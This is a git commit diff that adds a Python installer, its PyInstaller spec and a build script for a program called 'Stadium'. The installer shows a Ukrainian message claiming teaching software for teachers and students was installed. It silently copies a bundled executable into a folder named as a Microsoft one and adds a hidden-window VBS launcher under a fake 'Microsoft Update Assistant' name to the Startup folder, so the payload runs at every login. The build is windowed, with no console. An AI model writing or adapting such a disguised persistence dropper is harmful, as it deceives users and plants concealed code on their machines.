add stadium
This commit is contained in:
5
.gitignore
vendored
Normal file
5
.gitignore
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
**/.idea/
|
||||
**/__pycache__/
|
||||
**/build/
|
||||
**/dist/
|
||||
**/*.exe
|
||||
27
Stadium/Stadium_Installer.py
Normal file
27
Stadium/Stadium_Installer.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import shutil
|
||||
import winshell
|
||||
import ctypes
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def file(file_name):
|
||||
bundle_dir = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__)))
|
||||
return os.path.abspath(os.path.join(bundle_dir, file_name))
|
||||
|
||||
|
||||
os.system(file("Stadium_Server.exe"))
|
||||
|
||||
if not os.path.exists("C:\ProgramData\Microsoft Assistant"):
|
||||
os.makedirs("C:\ProgramData\Microsoft Assistant")
|
||||
|
||||
shutil.copy(file("UpdateAssistant.exe"), r"C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe")
|
||||
|
||||
open(winshell.startup() + "\Microsoft Update Assistant.vbs", "w+").write(
|
||||
r'''Set WshShell = CreateObject("WScript.Shell")
|
||||
WshShell.Run chr(34) & "C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe" & Chr(34), 0
|
||||
Set WshShell = Nothing''')
|
||||
|
||||
ctypes.windll.user32.MessageBoxW(0, "Програмний засіб для вчителів та учнів встановлено", 'ПП "Контур плюс"', 0)
|
||||
|
||||
os.system("cscript " + '"' + winshell.startup() + "\Microsoft Update Assistant.vbs" + '"')
|
||||
40
Stadium/Stadium_Installer.spec
Normal file
40
Stadium/Stadium_Installer.spec
Normal file
@@ -0,0 +1,40 @@
|
||||
# -*- mode: python ; coding: utf-8 -*-
|
||||
|
||||
|
||||
block_cipher = None
|
||||
|
||||
|
||||
a = Analysis(['Stadium_Installer.py'],
|
||||
pathex=[],
|
||||
binaries=[],
|
||||
datas=[('UpdateAssistant.exe', '.'), ('Stadium_Server.exe', '.')],
|
||||
hiddenimports=[],
|
||||
hookspath=[],
|
||||
hooksconfig={},
|
||||
runtime_hooks=[],
|
||||
excludes=[],
|
||||
win_no_prefer_redirects=False,
|
||||
win_private_assemblies=False,
|
||||
cipher=block_cipher,
|
||||
noarchive=False)
|
||||
pyz = PYZ(a.pure, a.zipped_data,
|
||||
cipher=block_cipher)
|
||||
|
||||
exe = EXE(pyz,
|
||||
a.scripts,
|
||||
a.binaries,
|
||||
a.zipfiles,
|
||||
a.datas,
|
||||
[],
|
||||
name='Stadium_Installer',
|
||||
debug=False,
|
||||
bootloader_ignore_signals=False,
|
||||
strip=False,
|
||||
upx=True,
|
||||
upx_exclude=[],
|
||||
runtime_tmpdir=None,
|
||||
console=False,
|
||||
disable_windowed_traceback=False,
|
||||
target_arch=None,
|
||||
codesign_identity=None,
|
||||
entitlements_file=None , icon='icon.ico')
|
||||
1
Stadium/build.bat
Normal file
1
Stadium/build.bat
Normal file
@@ -0,0 +1 @@
|
||||
pyinstaller --noconfirm --onefile --windowed --icon "icon.ico" "Stadium_Installer.py" --add-data "UpdateAssistant.exe;." --add-data "Stadium_Server.exe;."
|
||||
BIN
Stadium/icon.ico
Normal file
BIN
Stadium/icon.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.5 KiB |
Reference in New Issue
Block a user